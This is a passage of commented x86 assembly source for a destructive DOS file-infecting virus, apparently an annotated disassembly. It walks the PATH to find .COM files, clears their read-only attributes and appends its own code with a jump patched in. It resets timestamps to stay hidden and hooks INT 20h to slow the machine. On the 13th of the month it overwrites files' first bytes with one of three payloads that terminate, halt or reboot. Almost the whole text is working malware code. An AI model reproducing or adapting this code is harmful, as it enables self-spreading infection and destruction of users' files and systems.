+;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Get DTA Address ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + + PUSH ES ; Store ES + MOV AH,2FH ; GET DTA address into + INT 21H ; ES:BX + MOV [SI],BX ; Store BX of DTA + MOV [SI+2],ES ; Store ES of DTA + POP ES ; Restore ES + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Set new DTA Address ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + MOV DX,4EH ; + ADD DX,SI ; + MOV AH,1AH ; + INT 21H ; Set new DTA to DS:DX + + PUSH SI ; Store SI + CLD ; Clear direction + MOV DI,SI ; + ADD SI,0AH ; + ADD DI,81H ; + MOV CX,3 ; Move 3 bytes from source + REP MOVSB ; to destination (E9h, 45h + ; 45h) + POP SI ; Restore SI + + PUSH ES ; Store ES + PUSH SI ; Store SI + PUSH BX ; Store BX + MOV BX,2CH + MOV AX,[BX] ; Get Extra Segment? + POP BX ; Restore BX + MOV ES,AX + MOV DI,0 + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Search for the PATH ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Search_For_Path: + POP SI ; Restore SI + PUSH SI ; Store SI + ADD SI,1AH ; + LODSB ; Load the 'M' into AL + MOV CX,8000H ; + REPNE SCASB ; + MOV CX,4 ; + Path_Loop: + LODSB ; + SCASB ; + JNZ Search_For_Path ; + LOOP Path_Loop ; Pitty, PATH not yet found. + + POP SI ; Restore SI + POP ES ; Restore ES + MOV [SI+16H],DI ; Store address of PATH + MOV BX,SI ; Temp. Storage of SI + ADD SI,26H ; + MOV DI,SI ; + JMP SHORT Find_First_FileName + NOP + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Error: + CMP WORD PTR [SI+16H],0 + JNE Set_Virus_Path ; + JMP Restore_Org_DTA ; Error occured. Restore + ; original DTA, + ; 1st three bytes and + ; execute original + ; program. + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Start Searching for PATH ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Set_Virus_Path: + PUSH DS ; Store Registers + PUSH SI + PUSH AX + PUSH ES + PUSH ES + POP DS ; DS=ES + PUSH BX + MOV BX,2CH + MOV AX,[BX] + POP BX ; Restore BX + MOV [SI+1FH],AX ; + MOV DI,SI ; + MOV AX,[DI+16H] ; Org.address of PATH + MOV SI,AX ; + MOV DS,[DI+1FH] ; + POP ES ; + POP AX ; + ADD DI,26H ; +Reached_EO_Path: + LODSB ; Get byte into AL + CMP AL,3BH ; Path Delimiter ';' reached? + JE Delimiter_Reached ; Yes + CMP AL,0 ; End of Path reached? + JE EO_Path_Reached ; Yes + STOSB ; Store byte in AL + JMP SHORT Reached_EO_Path ; +EO_Path_Reached: + MOV SI,0 ; +Delimiter_Reached: + POP BX ; + POP DS ; + MOV [BX+16H],SI ; + CMP BYTE PTR [DI-1],5CH ; Is the PATH closed by + ; a backslash? + JE Find_First_FileName ; Yes + MOV AL,5CH ; + STOSB ; Place Backslash + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Find First Filename ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Find_First_FileName: + MOV [BX+18H],DI ; Store at which address + ; the path starts + ; BX=SI + MOV SI,BX ; Restore SI + ADD SI,10H ; + MOV CX,6 ; + REP MOVSB ; Set Search.Spec. + MOV SI,BX ; Restore SI + + MOV AH,4EH ; + MOV DX,26H ; + ADD DX,SI ; Filename:= *.COM + MOV CX,3 ; Search Attributes: + ; Read Only/Hidden + INT 21H ; Find 1st Filename to + ; match with DS:DX + JMP SHORT Error_Handler ; + NOP + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Find Next Filename ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Find_Next_FileName: + MOV AH,4FH ; + INT 21H ; Find next Filename to + ; match with DS:DX + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Error Handler ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Error_Handler: + JNC Check_Filelength ; Jump if carry=0, so + ; no errors + JMP SHORT Error ; Carry Set, so error + ; occured + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Check Filelength and look if file is already infected. ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + +Check_Filelength: + MOV AX,DS:DATA_1E[SI] ; (761D:0064=0) + AND AL,1FH + CMP AL,7 + JE Find_Next_FileName ; File already infected. + CMP WORD PTR DS:DATA_3E[SI],0FA00H + ; Is the length of the + ; file more as FA00h bytes? + JA Find_Next_FileName ; Yes. + CMP WORD PTR DS:DATA_3E[SI],0F00H + ; Is the length of the + ; file less as 0F00h bytes? + JB Find_Next_FileName ; Yes + MOV DI,[SI+18H] ; Get address of path of virus + PUSH SI ; Store SI + ADD SI,6CH +Set_FileName: + LODSB ; Set up Filename for + STOSB ; infection. + CMP AL,0 ; End Of Filename Reached? + JNE Set_FileName ; No + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Set Temporary File attributes ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + POP SI ; Restore SI + MOV CX,[SI+63H] ; + MOV CH,0 ; + MOV [SI+8],CX ; Get File-Attributes + MOV AX,CX ; + MOV CX,0FFFEH ; + AND AX,CX ; Remove Read-Only Attribute + MOV CX,AX ; + MOV AX,4301H ; + MOV DX,26H ; + ADD DX,SI ; + INT 21H ; Set File-Attributes + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Open the File ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + MOV AX,3D02H ; Open the file for both + INT 21H ; reading and writing + JNC Give_Infection_Marker ; If no error occured... + JMP Set_FileAttributes_Back ; Error occured + +Give_Infection_Marker: + MOV BX,AX + MOV CX,DS:DATA_2E[SI] ; (761D:0066=0) + MOV [SI+6],CX + MOV CX,DS:DATA_1E[SI] ; (761D:0064=0) + AND CL,0E0H + OR CL,7 + MOV [SI+4],CX + JMP SHORT Get_Current_Time ; (2967) + NOP + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ This Part will be installed resident after hooking INT 20h ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + PUSHF ; Push flags + PUSH DS + PUSH ES + PUSH SS + PUSH AX + PUSH BX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + MOV DX,43H + MOV AL,74H ; This will change the refesh + OUT DX,AL ; rate, thus slowing down the + MOV DX,41H ; PC. Every normal program- + MOV AL,8 ; termination by calling + OUT DX,AL ; INT 20h will call this + MOV AL,7 ; rourtine + OUT DX,AL ; + POP BP + POP SI + POP DI + POP DX + POP BX + POP AX + POP SS + POP ES + POP DS + POPF ; Pop flags + JMP CS:DATA_5 ; (761D:0253=9090H) + ; JMP to org. INT 20h address + ADD [BX+SI],AL + ADD [BX+SI],AL + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Get Current Time ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Get_Current_Time: + PUSH AX ; Store all registers + PUSH BX + PUSH CX + PUSH DX + PUSH DS + PUSH ES + PUSH SI + PUSH DI + PUSH BP + MOV AH,2CH ; Get current time into CX:DX + INT 21H ; CX=hrs/min, DX=sec/hund.sec + CMP DL,32H ; Are we above 32/100 seconds? + JA Get_INT_F2_Vector ; Yes + JMP Start_Trigger_Check ; No + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Get Interrupt Vector of INT F2h ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Get_INT_F2_Vector: + MOV AH,35H ; Get the interrupt vector of + MOV AL,0F2H ; INT 0F2h into ES:BX + INT 21H ; + + CMP BX,7777H ; Was INT F2 already hooked? + + JNE Allocate_Memory ; No + JMP INT_F2_Already_Hooked ; +Allocate_Memory: + MOV AX,DS ; + DEC AX ; + MOV ES,AX ; + MOV BX,0 ; + CMP BYTE PTR ES:[BX],5AH ; + JE Memory_Already_Allocated + PUSH BX ; + MOV AH,48H ; Allocate 4096 16-byte-para- + MOV BX,0FFFFH ; graphs in memory. ??? + INT 21H ; + CMP BX,5 ; Is the largest available + ; 5 or higher? + JAE Again_Allocate_Memory ; Yes + JMP Start_Trigger_Check ; No +Again_Allocate_Memory: + MOV AH,48H ; Again allocate memory + INT 21H ; + POP BX ; + JNC Segment_Decrease ; If there was no error when + ; allocating memory the last + ; time + JMP Start_Trigger_Check ; If there was an error +Segment_Decrease: + DEC AX ; Decrease Segment of Allcated + ; memory + MOV ES,AX ; + MOV BX,1 ; + MOV WORD PTR ES:[BX],0 ; + MOV BX,0 ; + CMP BYTE PTR ES:[BX],5AH ; + JE Memory_Allocated ; + JMP SHORT Start_Trigger_Check + NOP ; +Memory_Allocated: + MOV BX,3 ; + ADD AX,ES:[BX] ; + INC AX ; + MOV BX,12H ; + MOV ES:[BX],AX ; +Memory_Already_Allocated: + MOV BX,3 ; + MOV AX,ES:[BX] ; + SUB AX,5 ; + JC Start_Trigger_Check ; Jump if carry Set + MOV ES:[BX],AX ; + MOV BX,12H ; + SUB WORD PTR ES:[BX],5 ; + MOV ES,ES:[BX] ; + PUSH SI ; Store SI + SUB SI,1F2H ; SI points to the part + MOV DI,0 ; which must become + MOV CX,46H ; resident. + REP MOVSB ; Move the 46h bytes from + ; [SI] to ES:[DI] + POP SI ; Restore SI + MOV BP,ES ; + PUSH CS ; + POP ES ; Restore ES + + MOV AH,25H ; Hook interrupt F2h + MOV AL,0F2H ; New INT-vector will + MOV DX,7777H ; be DS:7777h + INT 21H ; + JMP SHORT Hook_INT_20h ; (2A10) + NOP + +INT_F2_Already_Hooked: + JMP SHORT Start_Trigger_Check + NOP +Hook_INT_20h: + MOV AL,20H ; + MOV AH,35H ; Get the INT 20h Vector + INT 21H ; into ES:BX + + MOV DX,ES ; + MOV ES,BP ; + PUSH SI ; + MOV AX,SI ; + SUB AX,1CAH ; + MOV DI,SI ; + SUB DI,1F2H ; + SUB AX,DI ; + MOV SI,AX ; + MOV ES:[SI],BX ; + ADD SI,2 ; + MOV ES:[SI],DX ; + SUB SI,4 ; + MOV ES:[SI],AX ; + POP SI ; + PUSH CS ; + POP ES ; + + MOV AH,25H ; Install new INT 20h + MOV DS,BP ; vector to DS:DX + MOV DX,0 ; (=DS:00) + MOV AL,20H ; + INT 21H ; + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Start Trigger Check ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Start_Trigger_Check: + POP BP ; Restore Registers + POP DI + POP SI + POP ES + POP DS + POP DX + POP CX + POP BX + POP AX + MOV AH,2AH ; Get the current date + INT 21H ; CX=year, DX=mon/day + CMP DL,0DH ; Is it the 13th of the month? + JNE Start_Infecting_File ; No + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ It is the 13th of the Month... Select 1 out of 3 destructions ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + MOV AH,2CH ; Get current time + INT 21H ; CX=hrs/min, DX=sec/hund.sec + CMP DL,3CH ; Are we above 60/100 seconds? + JA Destruction_2 ; Yes + CMP DL,1EH ; Are we above 30/100 seconds? + JA Destruction_3 ; Yes + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Destruction Scheme 1: Place the following code at the begining of a ŪŪ +;ŪŪ file: MOV AH,00 ŪŪ +;ŪŪ INT 20h ŪŪ +;ŪŪ NOP ŪŪ +;ŪŪ ŪŪ +;ŪŪ When a file is executed with this code at the begining, the program ŪŪ +;ŪŪ will terminate at once with returning to DOS. ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + MOV DX,SI + ADD DX,21H + JMP SHORT Write_5_Destruction_Bytes + NOP + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Destruction Scheme 2: Place the following code at the begining of a ŪŪ +;ŪŪ file: HLT ŪŪ +;ŪŪ HLT ŪŪ +;ŪŪ HLT ŪŪ +;ŪŪ HLT ŪŪ +;ŪŪ DB CDh (which is the opcode for INT) ŪŪ +;ŪŪ ŪŪ +;ŪŪ When a file is executed with this code at the begining, the program ŪŪ +;ŪŪ will execute the 4 HLT's and then perform an INT-Call depending on ŪŪ +;ŪŪ the byte following CDh. This can be any INT-Call. So this scheme ŪŪ +;ŪŪ can be consisered the dangeroust of all three destruction schemes. ŪŪ +;ŪŪ will terminate at once with returning to DOS. The first five bytes ŪŪ +;ŪŪ of a file will be overwritten always, making the file useless, but ŪŪ +;ŪŪ issuing and 'random' INT-Call can do much more harm. ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Destruction_2: + MOV DX,SI + ADD DX,79H + JMP SHORT Write_5_Destruction_Bytes + NOP + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Destruction Scheme 3: Place the following code at the begining of a ŪŪ +;ŪŪ file: INT 19h ŪŪ +;ŪŪ INT 19h ŪŪ +;ŪŪ DB ? (Can be anything. It is the 1st byte of the org.file) ŪŪ +;ŪŪ ŪŪ +;ŪŪ When a file is executed with this code at the begining, the program ŪŪ +;ŪŪ will cause a reboot without a memory test and preserving the ŪŪ +;ŪŪ interrupt vectors. If any interrupt vector from 00h through 1Ch has ŪŪ +;ŪŪ been set, the system most likely will hang itself, because of this ŪŪ +;ŪŪ preserving. ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Destruction_3: + MOV DX,SI + ADD DX,7DH + JMP SHORT Write_5_Destruction_Bytes + NOP + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Write the 5 bytes with the destruction to the begining of the file ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Write_5_Destruction_Bytes: + MOV AH,40H ; + MOV CX,5 ; + INT 21H ; Write 5 bytes to the file + JMP SHORT Set_FileDate_Time_Back + NOP + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ It is not the 13th of the month... Infect the file ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Start_Infecting_File: + MOV AH,3FH ; + MOV CX,3 ; Number of bytes to read + MOV DX,0AH ; + ADD DX,SI ; + INT 21H ; Read the bytes from the file + ; and put them at DS:DX + JC Set_FileDate_Time_Back ; If Error Occurred + CMP AL,3 ; 3 Bytes read? + JNE Set_FileDate_Time_Back ; No + + + MOV AX,4202H ; Set the Read/Write + MOV CX,0 ; pointer to the EOF at + MOV DX,0 ; offset CX:DX (=00:00) + INT 21H ; + + MOV CX,AX ; CX=Length of File + SUB AX,3 ; + MOV [SI+0EH],AX ; Store Length -3 bytes + ADD CX,41DH ; CX=CX+41Dh + MOV DI,SI + SUB DI,318H + MOV [DI],CX ; Set new Virus Data Area + ; Address into code + MOV AH,40H ; + MOV CX,3ABH ; CX=3ABh The length of the + ; viral-code written to disk. + MOV DX,SI + SUB DX,31DH ; DX points at the start of + ; the virus code + INT 21H ; Write the viral-code to the + ; file + + JC Set_FileDate_Time_Back ; If an error occured + CMP AX,3ABH ; 3ABh bytes written? + JNE Set_FileDate_Time_Back ; No + MOV AX,4200H ; Move Read/Write Pointer to + MOV CX,0 ; the beginning of the file + MOV DX,0 ; at offset CX:DX(=00:00) + INT 21H ; + + MOV AH,40H ; Write the 1st three new + MOV CX,3 ; bytes to the file. These + MOV DX,SI ; bytes contain the JMP + ADD DX,0DH ; instruction to the virus. + INT 21H ; + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Set File-Time/Date back ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Set_FileDate_Time_Back: + MOV DX,[SI+6] ; Get File-Date + MOV CX,[SI+4] ; Get File-Time + MOV AX,5701H ; Set back the File-Time and + INT 21H ; Date stamps + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Close the File ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + MOV AH,3EH ; + INT 21H ; Close the File + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Set File Attribute back ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + + +Set_FileAttributes_Back: + MOV AX,4301H ; + MOV CX,[SI+8] ; Get File Attribute + MOV DX,26H ; + ADD DX,SI ; + INT 21H ; Set File Attribute + 